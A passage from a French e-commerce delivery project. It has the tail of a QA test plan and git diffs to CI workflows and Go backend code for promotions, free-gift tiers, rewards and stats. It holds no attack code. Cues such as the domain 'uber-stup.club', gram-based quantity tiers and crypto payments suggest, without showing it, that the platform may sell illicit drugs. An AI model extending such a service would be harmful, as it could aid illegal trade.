4. Vérifier : stock décrémenté de la quantité offerte, **comme un article payant**.
5. Annuler la commande → vérifier stock restauré exactement.
### Stock — idempotence de l'annulation
1. Créer une commande, la faire annuler une première fois (client, livreur, ou admin — tester les trois chemins séparément).
2. Rejouer le même appel d'annulation une seconde fois sur la même commande.
3. Vérifier : le second appel ne modifie **pas** le stock une seconde fois (comparer stock après 1er appel et après 2e appel — doivent être identiques), et renvoie une réponse cohérente (pas une erreur qui laisserait croire à un échec silencieux).
### Stock — commande fantôme / double-submit
1. Vider le panier d'un client, y ajouter un article dont le stock est juste suffisant pour une seule commande (ex. stock = 2, quantité demandée = 2).
2. Envoyer **deux requêtes de checkout quasi simultanées** pour ce même client (deux processus curl en parallèle, `&` en shell).
3. Vérifier : une seule commande a réellement décrémenté le stock, l'autre échoue proprement (panier vide ou stock insuffisant) — **aucune commande "pending" orpheline** ne doit rester en base avec des `command_items` mais un stock jamais décrémenté pour elle.
### Paiement crypto
1. Checkout avec `payment_method: crypto` → vérifier statut `pending_payment` et stock déjà décrémenté à ce stade.
2. Simuler le webhook IPN avec statut `failed` (signature HMAC valide requise — générer avec le secret de test) → vérifier commande `cancelled` et stock restauré.
3. Répéter avec statut `finished` sur une nouvelle commande → vérifier commande repasse en `pending` (cycle normal), stock reste décrémenté.
4. Renvoyer deux fois le même webhook `failed` → vérifier pas de double remboursement.
### Parrainage
1. Lier un parrain à un client, vérifier `referral_balance` du parrain crédité du montant configuré (`ReferralAmount`).
2. Checkout du filleul avec crédit parrainage utilisé, panier tout juste au-dessus du minimum de zone + crédit → vérifier acceptation ; en dessous → vérifier rejet avec message explicite.
3. Faire échouer le checkout après débit du crédit (ex. stock insuffisant découvert tardivement) → vérifier que `referral_balance` est recrédité, pas perdu.
### Points et récompenses
1. Vérifier que les points s'accumulent dans le bon pool selon la catégorie du produit acheté (pas dans tous les pools).
2. Réclamer une récompense au-delà du nombre disponible → vérifier rejet.
3. Reset admin des récompenses réclamées d'un client → vérifier que le compteur repart à zéro et que de nouvelles réclamations redeviennent possibles.
### Pénalités
1. Simuler 4 annulations successives du même client (avec livreur assigné + statut `en_route`/`arrived` pour déclencher la pénalité) → vérifier progression exacte du barème (20€, 50€, 100€, 150€ ou barème configuré).
2. Avec `amende > 0`, tenter un checkout → vérifier blocage 403 avec message contact.
3. Simuler le flux "client absent" (livreur annule depuis `arrived`) → vérifier pénalité appliquée au **client**, jamais au livreur.
4. Annulation sans livreur assigné → vérifier absence de pénalité.
### Permissions par rôle
1. Token livreur A tente d'agir sur une commande assignée à livreur B → vérifier 403 (pas seulement vérification du rôle, vérification de la propriété).
2. Token client tente d'accéder à une route admin → 403.
3. Vérifier qu'aucun endpoint ne permet de créer un compte `admin` via l'API (tenter et confirmer le rejet/l'absence de route).
4. Vérifier que le livreur ne reçoit jamais le téléphone du client dans `GET /livreur/deliveries`.
## Étape 4 — Rapport et suite
Pour chaque scénario : **PASS** ou **FAIL** avec la preuve chiffrée (valeurs avant/après). En cas de FAIL, ce n'est pas la fin du skill — revenir au code, corriger, puis **relancer uniquement les scénarios concernés** (pas besoin de tout rejouer) jusqu'à ce que tout passe. Ne jamais considérer une fonctionnalité "terminée" avec un scénario en FAIL non expliqué.
## Nettoyage
```bash
docker compose down -v # supprime aussi les volumes (base de test jetable)
```
+2 -2
View File
@@ -68,7 +68,7 @@ jobs:
uses: docker/build-push-action@v6
with:
context: .
file: docker-prod/backend/Dockerfile
file: ${{ github.ref == 'refs/heads/main' && 'docker-prod/backend/Dockerfile' || 'docker-pre-prod/backend/Dockerfile' }}
target: runtime
push: true
tags: xor1234/backend-mln:${{ github.ref == 'refs/heads/main' && 'latest' || 'pre-prod' }}
@@ -78,7 +78,7 @@ jobs:
uses: docker/build-push-action@v6
with:
context: .
file: docker-prod/backend/Dockerfile
file: ${{ github.ref == 'refs/heads/main' && 'docker-prod/backend/Dockerfile' || 'docker-pre-prod/backend/Dockerfile' }}
target: waf
push: true
tags: xor1234/backend-mln:${{ github.ref == 'refs/heads/main' && 'waf' || 'waf-pre-prod' }}
@@ -61,7 +61,7 @@ jobs:
echo "profile=production" >> $GITHUB_OUTPUT
echo "channel=production-admin" >> $GITHUB_OUTPUT
echo "api_url=${{ secrets.PROD_API_URL }}" >> $GITHUB_OUTPUT
echo "ota_api_url=https://mln-uber.club" >> $GITHUB_OUTPUT
echo "ota_api_url=${{ secrets.PROD_API_URL }}" >> $GITHUB_OUTPUT
echo "xavia_url=https://ota-prod.uber-stup.club" >> $GITHUB_OUTPUT
echo "xavia_key=${{ secrets.XAVIA_KEY_ADMIN_PROD }}" >> $GITHUB_OUTPUT
echo "apk_name=admin-panel-production-$(date +%Y%m%d-%H%M).apk" >> $GITHUB_OUTPUT
@@ -70,7 +70,7 @@ jobs:
echo "profile=pre-prod" >> $GITHUB_OUTPUT
echo "channel=pre-prod-admin" >> $GITHUB_OUTPUT
echo "api_url=${{ secrets.PREPROD_API_URL }}" >> $GITHUB_OUTPUT
echo "ota_api_url=https://5.181.0.112.nip.io" >> $GITHUB_OUTPUT
echo "ota_api_url=${{ secrets.PREPROD_API_URL }}" >> $GITHUB_OUTPUT
echo "xavia_url=https://ota-preprod.uber-stup.club" >> $GITHUB_OUTPUT
echo "xavia_key=${{ secrets.XAVIA_KEY_ADMIN_PREPROD }}" >> $GITHUB_OUTPUT
echo "apk_name=admin-panel-pre-prod-$(date +%Y%m%d-%H%M).apk" >> $GITHUB_OUTPUT
@@ -84,12 +84,6 @@ jobs:
mv app.tmp.json app.json
- name: Select code signing certificate
# certs/certificate.pem (committé) correspond à la clé de signature
# du serveur OTA de production ; le serveur pre-prod signe avec une
# clé différente (PRIVATE_KEY_PREPROD côté ota-uber), donc les builds
# pre-prod doivent embarquer certs/certificate-preprod.pem à la place,
# sous peine de voir toute MAJ OTA rejetée silencieusement (signature
# invalide) sur ce canal.
working-directory: frontend-admin
run: |
if [ "${{ steps.config.outputs.profile }}" = "pre-prod" ]; then
@@ -149,6 +143,7 @@ jobs:
run: |
RUNTIME_VERSION=$(jq -r '.expo.runtimeVersion' app.json)
npx expo export --platform android --output-dir dist
npx expo config --json > dist/expoconfig.json
cd dist && zip -r ../bundle.zip . && cd ..
curl -X POST "${{ steps.config.outputs.xavia_url }}/api/upload" \
-H "Authorization: Bearer ${{ steps.config.outputs.xavia_key }}" \
@@ -149,6 +149,7 @@ jobs:
run: |
RUNTIME_VERSION=$(jq -r '.expo.runtimeVersion' app.json)
npx expo export --platform android --output-dir dist
npx expo config --json > dist/expoconfig.json
cd dist && zip -r ../bundle.zip . && cd ..
curl -X POST "${{ steps.config.outputs.xavia_url }}/api/upload" \
-H "Authorization: Bearer ${{ steps.config.outputs.xavia_key }}" \
+1 -1
View File
@@ -57,7 +57,7 @@ jobs:
uses: docker/build-push-action@v6
with:
context: .
file: docker-prod/frontend/Dockerfile
file: ${{ (github.ref == 'refs/heads/main' || github.base_ref == 'main') && 'docker-prod/frontend/Dockerfile' || 'docker-pre-prod/frontend/Dockerfile' }}
push: true
tags: xor1234/frontend-mln:${{ (github.ref == 'refs/heads/main' || github.base_ref == 'main') && 'latest' || 'pre-prod' }}
build-args: |
+4 -6
View File
@@ -1,10 +1,8 @@
# Expo local state (in sub-projects)
**/.expo/
test_address.sh
easpip
ansible/
dist/
frontend-prep2/
scripts/data.txt
scripts/data2.txt
scripts/data3.txt
monitoring
docker-prod/
.ssh
mc_utilisation
-1
View File
@@ -18,7 +18,6 @@ func (d *Database) CheckAddress(addressByUser *models.Command) error {
return fmt.Errorf("checkAddress: %w", result.Error)
}
// Pas de correspondance exacte — fallback sur une comparaison normalisée
// (accents/casse/espaces) pour rattraper les variantes mineures de saisie.
corrections, err := d.AllAddress()
if err != nil {
+40 -17
View File
@@ -130,12 +130,12 @@ func (d *Database) HasOnlyRewardItems(username string) (bool, error) {
func (d *Database) AddToBasket(username string, productID int, quantity float64) (*models.Panier, error) {
var basket models.Panier
err := d.GDB.Transaction(func(tx *gorm.DB) error {
var currentStock float64
if err := tx.Raw(`SELECT stock FROM products WHERE id = ? FOR UPDATE`, productID).Scan(&currentStock).Error; err != nil {
return fmt.Errorf("erreur lecture stock: %w", err)
var productInfo struct {
Stock float64 `gorm:"column:stock"`
Category string `gorm:"column:category"`
}
if currentStock < quantity {
return fmt.Errorf("stock insuffisant")
if err := tx.Raw(`SELECT stock, category FROM products WHERE id = ? FOR UPDATE`, productID).Scan(&productInfo).Error; err != nil {
return fmt.Errorf("erreur lecture stock: %w", err)
}
var priceResult struct {
@@ -148,28 +148,51 @@ func (d *Database) AddToBasket(username string, productID int, quantity float64)
productID, quantity).Scan(&priceResult).Error; err != nil || priceResult.Price == 0 {
return fmt.Errorf("prix introuvable pour product_id=%d qty=%.3f", productID, quantity)
}
// Une promotion active pour ce produit/quantité/catégorie s'applique
// automatiquement au prix facturé — indépendamment des points de
// fidélité (contrairement aux récompenses par palier). Le montant
// économisé est conservé (promoDiscount) pour les statistiques
// admin, indépendamment de la config de promo courante au moment où
// ces stats seront consultées.
var promoDiscount float64
if discounted, ok := d.ApplyPromotionToPrice(productID, productInfo.Category, quantity, priceResult.Price); ok {
promoDiscount = priceResult.Price - discounted
priceResult.Price = discounted
}
// Offre "achetez X, Y offert" : le client reçoit une quantité
// supplémentaire du même produit, gratuite, sans changer le prix déjà
// calculé sur la quantité demandée — la quantité livrée/décomptée du
// stock est donc supérieure à la quantité facturée.
freeQuantity := d.ResolveFreeGiftQuantity(productID, productInfo.Category, quantity)
deliveredQuantity := quantity + freeQuantity
if productInfo.Stock < deliveredQuantity {
return fmt.Errorf("stock insuffisant")
}
var existing struct {
ID int `gorm:"column:id"`
Quantity float64 `gorm:"column:quantity"`
Price float64 `gorm:"column:price"`
ID int `gorm:"column:id"`
Quantity float64 `gorm:"column:quantity"`
Price float64 `gorm:"column:price"`
PromoDiscount float64 `gorm:"column:promo_discount"`
}
// Chercher uniquement un item normal (non-récompense) pour ce produit
tx.Raw(`SELECT id, quantity, price FROM baskets WHERE username = ? AND product_id = ? AND is_reward = false`,
tx.Raw(`SELECT id, quantity, price, promo_discount FROM baskets WHERE username = ? AND product_id = ? AND is_reward = false`,
username, productID).Scan(&existing)
if existing.ID != 0 {
return tx.Raw(`
UPDATE baskets SET quantity = ?, price = ?, created_at = CURRENT_TIMESTAMP
WHERE id = ? AND is_reward = false RETURNING id, username, product_id, quantity, price, is_reward, created_at`,
existing.Quantity+quantity, existing.Price+priceResult.Price,
existing.ID).Scan(&basket).Error
UPDATE baskets SET quantity = ?, price = ?, promo_discount = ?, created_at = CURRENT_TIMESTAMP
WHERE id = ? AND is_reward = false RETURNING id, username, product_id, quantity, price, is_reward, promo_discount, created_at`,
existing.Quantity+deliveredQuantity, existing.Price+priceResult.Price,
existing.PromoDiscount+promoDiscount, existing.ID).Scan(&basket).Error
}
return tx.Raw(`
INSERT INTO baskets (username, product_id, quantity, price, is_reward, created_at)
VALUES (?, ?, ?, ?, false, CURRENT_TIMESTAMP)
RETURNING id, username, product_id, quantity, price, is_reward, created_at`,
username, productID, quantity, priceResult.Price).Scan(&basket).Error
INSERT INTO baskets (username, product_id, quantity, price, is_reward, promo_discount, created_at)
VALUES (?, ?, ?, ?, false, ?, CURRENT_TIMESTAMP)
RETURNING id, username, product_id, quantity, price, is_reward, promo_discount, created_at`,
username, productID, deliveredQuantity, priceResult.Price, promoDiscount).Scan(&basket).Error
})
if err != nil {
return nil, err
+1 -1
View File
@@ -19,6 +19,7 @@ type commandItemFull struct {
Prix float64 `gorm:"column:prix"`
IsReward bool `gorm:"column:is_reward"`
RewardPoolKey string `gorm:"column:reward_pool_key"`
PromoDiscount float64 `gorm:"column:promo_discount"`
ClientUsername string `gorm:"column:client_username"`
ClientNom string `gorm:"column:client_nom"`
ClientPrenom string `gorm:"column:client_prenom"`
@@ -39,7 +40,6 @@ func (d *Database) InsertCommandItemsBatch(items []commandItemFull) error {
// ============================================
// VALIDATION HELPERS
// ============================================
func validateCommandID(commandID int) error {
if commandID <= 0 {
+3 -1
View File
@@ -55,6 +55,7 @@ type basketItem struct {
Price float64 `gorm:"column:price"`
IsReward bool `gorm:"column:is_reward"`
RewardPoolKey string `gorm:"column:reward_pool_key"`
PromoDiscount float64 `gorm:"column:promo_discount"`
}
// validateCommandStatus vérifie si le statut est valide
@@ -109,7 +110,7 @@ func (d *Database) CreateCommandWithAddress(username, deliveryAddress string) (*
// bloque ici puis échoue proprement ("panier vide") une fois le premier
// passage terminé, au lieu de créer une commande fantôme.
var basketItems []basketItem
if err := tx.Raw(`SELECT product_id, quantity, price, is_reward, reward_pool_key FROM baskets WHERE username = ? FOR UPDATE`, username).Scan(&basketItems).Error; err != nil {
if err := tx.Raw(`SELECT product_id, quantity, price, is_reward, reward_pool_key, promo_discount FROM baskets WHERE username = ? FOR UPDATE`, username).Scan(&basketItems).Error; err != nil {
return fmt.Errorf("erreur récupération panier: %w", err)
}
if len(basketItems) == 0 {
@@ -162,6 +163,7 @@ func (d *Database) CreateCommandWithAddress(username, deliveryAddress string) (*
Prix: item.Price,
IsReward: item.IsReward,
RewardPoolKey: item.RewardPoolKey,
PromoDiscount: item.PromoDiscount,
ClientUsername: username,
ClientNom: clientNom,
ClientPrenom: clientPrenom,
+59
View File
@@ -0,0 +1,59 @@
package db
import "gestion/models"
// ResolveFreeGift retourne la quantité offerte (du même produit) pour un
// produit, sa catégorie catalogue et une quantité commandée donnés — le seuil
// le plus élevé (BuyQuantity) atteint par la quantité commandée est retenu,
// tous seuils confondus pour ce produit (ex: seuils 10g→+1g et 20g→+3g, une
// commande de 25g retient +3g, pas +1g).
func ResolveFreeGift(settings *models.AppSettings, productID int, category string, quantity float64) float64 {
if settings == nil || !settings.FreeGiftsEnabled {
return 0
}
var bestBuy, bestFree float64
found := false
consider := func(tiers []models.FreeGiftTier) {
for _, t := range tiers {
if t.BuyQuantity <= 0 || t.FreeQuantity <= 0 || quantity < t.BuyQuantity {
continue
}
if !found || t.BuyQuantity > bestBuy {
bestBuy, bestFree = t.BuyQuantity, t.FreeQuantity
found = true
}
}
}
for _, g := range settings.FreeGifts {
if g.Category != category {
continue
}
if g.AllProducts {
consider(g.Tiers)
continue
}
for _, pq := range g.Products {
if pq.ProductID == productID {
consider(pq.Tiers)
}
}
}
if !found {
return 0
}
return bestFree
}
// ResolveFreeGiftQuantity lit les settings courants et applique
// ResolveFreeGift — wrapper pratique pour les appelants qui n'ont pas déjà
// les settings sous la main (même style que ApplyPromotionToPrice).
func (d *Database) ResolveFreeGiftQuantity(productID int, category string, quantity float64) float64 {
settings, err := d.GetSettings()
if err != nil {
return 0
}
return ResolveFreeGift(&settings, productID, category, quantity)
}
+14
View File
@@ -140,6 +140,20 @@ func InitDB() *Database {
log.Fatalf("❌ Erreur migration command_items.reward_pool_key: %v", err)
}
// Migration: baskets.promo_discount + command_items.promo_discount —
// montant (en €) économisé par une promotion de prix sur cette ligne,
// capturé une fois pour toutes au moment de AddToBasket (voir
// db_basket.go) puis copié tel quel au checkout, pour permettre des
// statistiques historiques fiables même si la config de promo change
// ensuite (contrairement à un recalcul a posteriori sur les settings
// courants, qui donnerait un résultat faux pour les anciennes commandes).
if _, err = database.Exec(`ALTER TABLE baskets ADD COLUMN IF NOT EXISTS promo_discount NUMERIC(10,2) NOT NULL DEFAULT 0`); err != nil {
log.Fatalf("❌ Erreur migration baskets.promo_discount: %v", err)
}
if _, err = database.Exec(`ALTER TABLE command_items ADD COLUMN IF NOT EXISTS promo_discount NUMERIC(10,2) NOT NULL DEFAULT 0`); err != nil {
log.Fatalf("❌ Erreur migration command_items.promo_discount: %v", err)
}
// Migration: command_items.quantite INTEGER → NUMERIC(10,3) pour supporter les quantités fractionnaires
if _, err = database.Exec(`
DO $$
+48
View File
@@ -0,0 +1,48 @@
package db
import (
"gestion/models"
"math"
)
// ResolvePromotionDiscount retourne le pourcentage de réduction actif pour un
// produit, sa catégorie catalogue et une quantité donnés, si une promotion
// configurée dans les settings couvre exactement ce couple (produit,
// quantité) — contrairement aux récompenses, aucun seuil de points n'entre
// en jeu : la promotion s'applique à toute commande de cette quantité.
func ResolvePromotionDiscount(settings *models.AppSettings, productID int, category string, quantity float64) (float64, bool) {
if settings == nil || !settings.PromotionsEnabled {
return 0, false
}
for _, promo := range settings.Promotions {
if promo.Category != category || promo.DiscountPercent <= 0 {
continue
}
if promo.AllProducts {
if promo.Quantity == quantity {
return promo.DiscountPercent, true
}
continue
}
for _, pq := range promo.Products {
if pq.ProductID == productID && pq.Quantity == quantity {
return promo.DiscountPercent, true
}
}
}
return 0, false
}
// ApplyPromotionToPrice applique la réduction (si une promotion couvre ce
// produit/quantité/catégorie) au prix catalogue donné, arrondi au centime.
func (d *Database) ApplyPromotionToPrice(productID int, category string, quantity, price float64) (float64, bool) {
settings, err := d.GetSettings()
if err != nil {
return price, false
}
discount, ok := ResolvePromotionDiscount(&settings, productID, category, quantity)
if !ok {
return price, false
}
return math.Round(price*(1-discount/100)*100) / 100, true
}
+95 -14
View File
@@ -72,19 +72,19 @@ func DefaultSettings() models.AppSettings {
Mode: "single",
CategoryRoutes: []models.CategoryRoute{},
},
AdminColorPrimary: "#7c3aed",
AdminColorSecondary: "#000000",
AdminColorSuccess: "#4ade80",
AdminColorDanger: "#ef4444",
AdminColorWarning: "#f59e0b",
ClientColorPrimary: "#7c3aed",
ClientColorSecondary: "#000000",
ClientColorSuccess: "#4ade80",
ClientColorDanger: "#ef4444",
ClientColorWarning: "#f59e0b",
AdminColorPrimary: "#7c3aed",
AdminColorSecondary: "#000000",
AdminColorSuccess: "#4ade80",
AdminColorDanger: "#ef4444",
AdminColorWarning: "#f59e0b",
ClientColorPrimary: "#7c3aed",
ClientColorSecondary: "#000000",
ClientColorSuccess: "#4ade80",
ClientColorDanger: "#ef4444",
ClientColorWarning: "#f59e0b",
ClientTitleGradientFrom: "#a78bfa",
ClientTitleGradientTo: "#22d3ee",
DeliverySchedule: DefaultDeliverySchedule(),
DeliverySchedule: DefaultDeliverySchedule(),
PostalZones: []models.PostalZone{
{Name: "Zone 30€", MinAmount: 30, Codes: []string{"44000", "44100", "44200", "44300"}},
{Name: "Zone 50€", MinAmount: 50, Codes: []string{
@@ -115,6 +115,11 @@ func (d *Database) GetSettings() (models.AppSettings, error) {
switch row.Key {
case "penalties_enabled":
settings.PenaltiesEnabled = row.Value == "true"
case "penalty_tiers":
var tiers []models.PenaltyTier
if err := json.Unmarshal([]byte(row.Value), &tiers); err == nil {
settings.PenaltyTiers = tiers
}
case "show_amende_score":
settings.ShowAmendeScore = row.Value == "true"
case "points_enabled":
@@ -125,9 +130,31 @@ func (d *Database) GetSettings() (models.AppSettings, error) {
settings.PointsPools = pools
}
case "points_reward":
var reward models.PointsReward
if err := json.Unmarshal([]byte(row.Value), &reward); err == nil {
settings.PointsReward = &reward
// row.Value peut valoir la chaîne littérale "null" (récompense
// désactivée puis sauvegardée : json.Marshal(nil *PointsReward)
// produit "null"). json.Unmarshal d'un null JSON dans une valeur
// non-pointeur est un no-op sans erreur (voir doc encoding/json),
// donc sans ce garde-fou &reward pointerait vers une struct vide
// mais non-nil, et la récompense réapparaîtrait activée.
if row.Value != "null" && row.Value != "" {
var reward models.PointsReward
if err := json.Unmarshal([]byte(row.Value), &reward); err == nil {
settings.PointsReward = &reward
}
}
case "promotions_enabled":
settings.PromotionsEnabled = row.Value == "true"
case "promotions":
var promotions []models.CategoryPromotionConfig
if err := json.Unmarshal([]byte(row.Value), &promotions); err == nil {
settings.Promotions = promotions
}
case "free_gifts_enabled":
settings.FreeGiftsEnabled = row.Value == "true"
case "free_gifts":
var freeGifts []models.CategoryFreeGiftConfig
if err := json.Unmarshal([]byte(row.Value), &freeGifts); err == nil {
settings.FreeGifts = freeGifts
}
case "referral_enabled":
settings.ReferralEnabled = row.Value == "true"
@@ -213,6 +240,14 @@ func (d *Database) UpdateSettings(s models.AppSettings) error {
return "false"
}
if s.PenaltyTiers == nil {
s.PenaltyTiers = []models.PenaltyTier{}
}
tiersJSON, err := json.Marshal(s.PenaltyTiers)
if err != nil {
return fmt.Errorf("erreur sérialisation penalty_tiers: %w", err)
}
if s.PointsPools == nil {
s.PointsPools = []models.PointsPool{}
}
@@ -230,11 +265,52 @@ func (d *Database) UpdateSettings(s models.AppSettings) error {
return fmt.Errorf("erreur sérialisation pools: %w", err)
}
if s.PointsReward != nil {
for i := range s.PointsReward.CategoryConfigs {
if s.PointsReward.CategoryConfigs[i].Products == nil {
s.PointsReward.CategoryConfigs[i].Products = []models.RewardProductQuantity{}
}
}
}
rewardJSON, err := json.Marshal(s.PointsReward)
if err != nil {
return fmt.Errorf("erreur sérialisation points_reward: %w", err)
}
if s.Promotions == nil {
s.Promotions = []models.CategoryPromotionConfig{}
}
for i := range s.Promotions {
if s.Promotions[i].Products == nil {
s.Promotions[i].Products = []models.PromotionProductQuantity{}
}
}
promotionsJSON, err := json.Marshal(s.Promotions)
if err != nil {
return fmt.Errorf("erreur sérialisation promotions: %w", err)
}
if s.FreeGifts == nil {
s.FreeGifts = []models.CategoryFreeGiftConfig{}
}
for i := range s.FreeGifts {
if s.FreeGifts[i].Tiers == nil {
s.FreeGifts[i].Tiers = []models.FreeGiftTier{}
}
if s.FreeGifts[i].Products == nil {
s.FreeGifts[i].Products = []models.FreeGiftProductQuantity{}
}
for j := range s.FreeGifts[i].Products {
if s.FreeGifts[i].Products[j].Tiers == nil {
s.FreeGifts[i].Products[j].Tiers = []models.FreeGiftTier{}
}
}
}
freeGiftsJSON, err := json.Marshal(s.FreeGifts)
if err != nil {
return fmt.Errorf("erreur sérialisation free_gifts: %w", err)
}
if s.NowPaymentsCurrencies == nil {
s.NowPaymentsCurrencies = []string{}
}
@@ -269,10 +345,15 @@ func (d *Database) UpdateSettings(s models.AppSettings) error {
}
pairs := [][2]string{
{"penalties_enabled", boolStr(s.PenaltiesEnabled)},
{"penalty_tiers", string(tiersJSON)},
{"show_amende_score", boolStr(s.ShowAmendeScore)},
{"points_enabled", boolStr(s.PointsEnabled)},
{"points_pools", string(poolsJSON)},
{"points_reward", string(rewardJSON)},
{"promotions_enabled", boolStr(s.PromotionsEnabled)},
{"promotions", string(promotionsJSON)},
{"free_gifts_enabled", boolStr(s.FreeGiftsEnabled)},
{"free_gifts", string(freeGiftsJSON)},
{"referral_enabled", boolStr(s.ReferralEnabled)},
{"referral_amount", strconv.FormatFloat(s.ReferralAmount, 'f', 2, 64)},
{"crypto_payment_enabled", boolStr(s.CryptoPaymentEnabled)},
+33
View File
@@ -379,6 +379,39 @@ func (d *Database) TotalRevenue(resetAt time.Time) (float64, error) {
return total, err
}
// TotalPromoDiscount renvoie le montant total (€) des réductions de prix
// accordées par des promotions sur les commandes approuvées, filtré par le
// reset "revenus" (même périmètre que TotalRevenue, dont c'est un
// sous-indicateur). Basé sur command_items.promo_discount, capturé au moment
// de AddToBasket — reflète donc les promos réellement appliquées à l'époque,
// pas la config de promotions courante.
func (d *Database) TotalPromoDiscount(resetAt time.Time) (float64, error) {
where, args := statusFilterClause("c.status = 'approved'", resetAt, "c.created_at")
var total float64
query := `
SELECT COALESCE(SUM(ci.promo_discount), 0)
FROM command_items ci
JOIN commandes c ON c.id = ci.command_id
WHERE ` + where
err := d.GDB.Raw(query, args...).Scan(&total).Error
return total, err
}
// PromoOrdersCount renvoie le nombre de commandes distinctes (approuvées)
// ayant bénéficié d'au moins une réduction de prix promo, filtré par le
// reset "revenus".
func (d *Database) PromoOrdersCount(resetAt time.Time) (int64, error) {
where, args := statusFilterClause("c.status = 'approved'", resetAt, "c.created_at")
var count int64
query := `
SELECT COUNT(DISTINCT ci.command_id)
FROM command_items ci
JOIN commandes c ON c.id = ci.command_id
WHERE ci.promo_discount > 0 AND ` + where
err := d.GDB.Raw(query, args...).Scan(&count).Error
return count, err
}
// ActiveDaysLast30 renvoie le nombre de jours distincts ayant eu au moins une commande sur 30 jours.
func (d *Database) ActiveDaysLast30(resetAt time.Time) (int64, error) {
where, args := statusFilterClause("status != 'cancelled'", resetAt, "created_at")
+135 -131
View File
@@ -23,72 +23,79 @@ func normalizeRewardCategoryType(t string) string {
return "free_product"
}
// eligibleRewardProducts détermine, pour un pool donné, quels product_id de
// reward.RewardItems sont éligibles et avec quel type de récompense
// ("free_product" | "half_price_product") : sa catégorie (via CategoryConfigs)
// doit faire partie des catégories du pool, soit par whitelist explicite
// (ProductIDs) soit par correspondance de catégorie produit (AllProducts).
func eligibleRewardProducts(reward *models.PointsReward, poolCategories map[string]bool, productCategories map[int]string) map[int]string {
eligible := make(map[int]string)
// categoryRewardCandidate représente un produit éligible à la récompense pour
// une config de catégorie donnée : son type ("free_product" |
// "half_price_product") et la quantité configurée pour cette catégorie.
type categoryRewardCandidate struct {
Category string
Type string
ProductID int
Name string
Quantity float64
}
// resolveCategoryRewardCandidates dérive, pour chaque config de catégorie de
// la récompense, la liste des produits éligibles — tous ceux du catalogue si
// AllProducts, sinon la sélection explicite — avec le type et la quantité
// configurés directement dans le bloc catégorie (RewardCategoryConfig).
// Il n'existe plus de liste "reward_items" saisie à part : la catégorie est
// l'unique source de vérité (type + produits + quantité).
func resolveCategoryRewardCandidates(database *db.Database, reward *models.PointsReward) ([]categoryRewardCandidate, error) {
candidates := make([]categoryRewardCandidate, 0)
if reward == nil {
return eligible
return candidates, nil
}
catalogCache := make(map[string][]models.Product)
for _, cfg := range reward.CategoryConfigs {
if !poolCategories[cfg.Category] {
continue
}
rewardType := normalizeRewardCategoryType(cfg.Type)
if cfg.AllProducts {
for pid, cat := range productCategories {
if cat == cfg.Category {
eligible[pid] = rewardType
products, ok := catalogCache[cfg.Category]
if !ok {
var err error
products, err = database.GetProductsByCategory(cfg.Category)
if err != nil {
return nil, fmt.Errorf("produits catégorie %q: %w", cfg.Category, err)
}
catalogCache[cfg.Category] = products
}
} else {
for _, pid := range cfg.ProductIDs {
eligible[pid] = rewardType
for _, p := range products {
candidates = append(candidates, categoryRewardCandidate{
Category: cfg.Category, Type: rewardType, ProductID: p.ID, Name: p.Name, Quantity: cfg.Quantity,
})
}
} else if len(cfg.Products) > 0 {
ids := make([]int, len(cfg.Products))
for i, pq := range cfg.Products {
ids[i] = pq.ProductID
}
names, err := database.GetProductNamesByIDs(ids)
if err != nil {
return nil, fmt.Errorf("noms produits catégorie %q: %w", cfg.Category, err)
}
for _, pq := range cfg.Products {
candidates = append(candidates, categoryRewardCandidate{
Category: cfg.Category, Type: rewardType, ProductID: pq.ProductID, Name: names[pq.ProductID], Quantity: pq.Quantity,
})
}
}
}
return eligible
return candidates, nil
}
// categoryConfigTypeForProduct détermine le type de récompense applicable à un
// produit à partir de sa catégorie catalogue, sans filtrer par pool — utilisé
// pour l'aperçu global (rewardMeta) qui n'est pas rattaché à un pool précis.
func categoryConfigTypeForProduct(reward *models.PointsReward, productID int, productCategory string) string {
for _, cfg := range reward.CategoryConfigs {
matches := false
if cfg.AllProducts {
matches = cfg.Category == productCategory
} else {
for _, pid := range cfg.ProductIDs {
if pid == productID {
matches = true
break
}
}
}
if matches {
return normalizeRewardCategoryType(cfg.Type)
}
}
return "free_product"
}
// effectiveRewardPrice calcule le prix réellement facturé pour un item
// récompense selon le type de sa catégorie : 0€ pour "free_product", 50% du
// prix catalogue actif (palier correspondant à la quantité) pour
// effectiveRewardPrice calcule le prix réellement facturé pour une quantité
// donnée d'un produit récompense, selon le type de sa catégorie : 0€ pour
// "free_product", 50% du prix catalogue actif (palier ≤ quantity) pour
// "half_price_product". Erreur si le prix catalogue est introuvable (produit
// désactivé, aucun palier actif ≤ quantity) — la récompense ne doit alors pas
// être proposée/réclamée plutôt que de facturer un montant incorrect.
func effectiveRewardPrice(database *db.Database, item models.RewardItem, rewardType string) (float64, error) {
func effectiveRewardPrice(database *db.Database, productID int, quantity float64, rewardType string) (float64, error) {
if rewardType != "half_price_product" {
return 0, nil
}
catalogPrice, err := database.GetActiveProductPrice(item.ProductID, item.Quantity)
catalogPrice, err := database.GetActiveProductPrice(productID, quantity)
if err != nil {
return 0, fmt.Errorf("produit récompense introuvable (id=%d): %w", item.ProductID, err)
return 0, fmt.Errorf("produit récompense introuvable (id=%d): %w", productID, err)
}
return math.Round(catalogPrice/2*100) / 100, nil
}
@@ -123,12 +130,18 @@ func GetMyPointsRewards(c *gin.Context) {
reward := settings.PointsReward
type ConfigProductResponse struct {
ProductID int `json:"product_id"`
ProductName string `json:"product_name"`
Quantity float64 `json:"quantity"`
}
type EligibleConfigResponse struct {
Category string `json:"category"`
Type string `json:"type"`
AllProducts bool `json:"all_products"`
ProductIDs []int `json:"product_ids"`
ProductNames []string `json:"product_names"`
Category string `json:"category"`
Type string `json:"type"`
AllProducts bool `json:"all_products"`
Products []ConfigProductResponse `json:"products"`
Quantity float64 `json:"quantity"`
}
type RewardItemResponse struct {
@@ -150,22 +163,10 @@ func GetMyPointsRewards(c *gin.Context) {
EligibleRewardItems []RewardItemResponse `json:"eligible_reward_items"`
}
// Collecter tous les product_ids nécessaires en un seul passage
allProductIDs := make([]int, 0)
if reward != nil {
for _, cfg := range reward.CategoryConfigs {
if !cfg.AllProducts {
allProductIDs = append(allProductIDs, cfg.ProductIDs...)
}
}
for _, item := range reward.RewardItems {
if item.ProductID > 0 {
allProductIDs = append(allProductIDs, item.ProductID)
}
}
candidates, err := resolveCategoryRewardCandidates(database, reward)
if err != nil {
log.Printf("⚠️ [POINTS] Résolution candidats récompense: %v", err)
}
productNames, _ := database.GetProductNamesByIDs(allProductIDs)
productCategories, _ := database.GetProductCategoriesByIDs(allProductIDs)
pools := make([]PoolInfo, 0, len(settings.PointsPools))
for _, pool := range settings.PointsPools {
